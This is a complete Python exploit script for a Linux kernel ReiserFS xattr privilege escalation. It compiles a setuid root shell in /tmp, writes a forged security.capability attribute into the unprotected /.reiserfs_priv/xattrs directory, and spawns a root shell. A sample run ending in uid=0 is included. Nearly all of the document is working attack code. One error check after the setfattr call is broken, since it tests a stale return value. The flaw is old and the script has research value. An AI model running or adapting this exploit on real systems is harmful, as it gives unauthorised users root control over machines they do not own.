#!/usr/bin/env python 
  
'''  
  team-edward.py 
   
  Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation 
  Jon Oberheide < > 
  http://jon.oberheide.org 
    
  Information: 
   
    https://bugzilla.redhat.com/show_bug.cgi?id=568041 
  
    The kernel allows processes to access the internal ".reiserfs_priv" 
    directory at the top of a reiserfs filesystem which is used to store  
    xattrs. Permissions are not enforced in that tree, so unprivileged  
    users can view and potentially modify the xattrs on arbitrary files. 
  
  Usage: 
   
    $ python team-edward.py 
    [+] checking for reiserfs mount with user_xattr mount option 
    [+] checking for private xattrs directory at /.reiserfs_priv/xattrs 
    [+] preparing shell in /tmp 
    [+] capturing pre-shell snapshot of private xattrs directory 
    [+] compiling shell in /tmp 
    [+] setting dummy xattr to get reiserfs object id 
    [+] capturing post-shell snapshot of private xattrs directory 
    [+] found 1 new object ids 
    [+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468 
    [+] spawning setuid shell... 
    # id 
    uid=0(root) gid=0(root) groups=4(adm), ... 
   
  Notes: 
   
    Obviously requires a ReiserFS filesystem mounted with extended attributes. 
    Tested on Ubuntu Jaunty 9.10. 
''' 
  
import os, sys 
  
SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }'
XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
  
def err(txt): 
    print '[-] error: %s' % txt 
    sys.exit(1) 
  
def msg(txt): 
    print '[+] %s' % txt 
  
def main(): 
    msg('checking for reiserfs mount with user_xattr mount option') 
  
    f = open('/etc/fstab') 
    for line in f: 
        if 'reiserfs' in line and 'user_xattr' in line: 
            break
    else: 
        err('failed to find a reiserfs mount with user_xattr') 
    f.close() 
  
    msg('checking for private xattrs directory at /.reiserfs_priv/xattrs') 
  
    if not os.path.exists('/.reiserfs_priv/xattrs'): 
        err('failed to locate private xattrs directory') 
  
    msg('preparing shell in /tmp') 
  
    f = open('/tmp/team-edward.c', 'w') 
    f.write(SHELL) 
    f.close() 
  
    msg('capturing pre-shell snapshot of private xattrs directory') 
  
    pre = set(os.listdir('/.reiserfs_priv/xattrs')) 
      
    msg('compiling shell in /tmp') 
  
    ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward') 
    if ret != 0: 
        err('error compiling shell, you need gcc') 
  
    msg('setting dummy xattr to get reiserfs object id') 
  
    os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward') 
    if ret != 0: 
        err('error setting xattr, you need setfattr') 
  
    msg('capturing post-shell snapshot of private xattrs directory') 
  
    post = set(os.listdir('/.reiserfs_priv/xattrs')) 
  
    objs = post.difference(pre) 
  
    msg('found %s new object ids' % len(objs)) 
  
    for obj in objs: 
        msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj) 
     
        f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w') 
        f.write(XATTR) 
        f.close() 
  
    msg('spawning setuid shell...') 
  
    os.system('/tmp/team-edward') 
  
if __name__ == '__main__': 
    main()